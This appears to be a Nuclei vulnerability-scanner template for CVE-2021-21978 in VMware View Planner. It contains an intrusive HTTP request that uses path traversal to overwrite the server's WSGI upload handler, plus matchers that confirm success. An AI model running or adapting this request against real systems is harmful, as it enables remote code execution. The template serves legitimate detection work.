2021-03-05 08:27:05 +00:00
id : CVE-2021-21978
info :
2022-05-09 16:12:52 +00:00
name : VMware View Planner <4.6 SP1- Remote Code Execution
2021-03-05 08:27:05 +00:00
author : dwisiswant0
severity : critical
description : |
2022-05-09 16:12:52 +00:00
VMware View Planner 4.x prior to 4.6 Security Patch 1 contains a remote code execution vulnerability due to improper input validation and lack of authorization leading to arbitrary file upload in logupload web application.
2021-03-05 08:27:05 +00:00
An unauthorized attacker with network access to View Planner Harness could upload and execute a specially crafted
file leading to remote code execution within the logupload container.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to VMware View Planner version 4.6 SP1 or later to mitigate this vulnerability.
2022-04-22 10:38:41 +00:00
reference :
- https://twitter.com/osama_hroot/status/1367258907601698816
2022-05-09 16:12:52 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-21978
2022-05-17 09:18:12 +00:00
- https://www.vmware.com/security/advisories/VMSA-2021-0003.html
- http://packetstormsecurity.com/files/161879/VMware-View-Planner-4.6-Remote-Code-Execution.html
2024-03-23 09:28:19 +00:00
- https://github.com/HimmelAward/Goby_POC
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-21978
2023-08-31 11:46:18 +00:00
cwe-id : CWE-20
2024-05-31 19:23:20 +00:00
epss-score : 0.97475
epss-percentile : 0.99967
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:vmware:view_planner:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : vmware
product : view_planner
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,vmware,rce,packetstorm,fileupload,intrusive
2021-03-05 08:27:05 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-03-05 08:27:05 +00:00
- raw :
- |
POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
Accept : text/html
Referer : {{BaseURL}}
Connection : close
------WebKitFormBoundarySHHbUsfCoxlX1bpS
Content-Disposition : form-data; name="logfile"; filename=""
Content-Type : text/plain
POC_TEST
------WebKitFormBoundarySHHbUsfCoxlX1bpS
matchers-condition : and
matchers :
2023-07-11 19:49:27 +00:00
- type : dsl
dsl :
- "len(body) == 28"
2021-03-05 08:27:05 +00:00
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-03-05 08:27:05 +00:00
words :
- "File uploaded successfully."
2023-07-05 07:50:14 +00:00
- type : status
status :
2023-07-07 11:08:46 +00:00
- 200
2024-06-01 06:53:00 +00:00
# digest: 4b0a00483046022100a935a2e83de4a7e04f4be120e042c42ababadca5c6eae96c4b1ab1c6cadbf627022100a9005c42b0b1f2dcfab48457002fc32029d03fd6e46f561f508c03c4621f7743:922c64590222798bb761d5b6d8e72950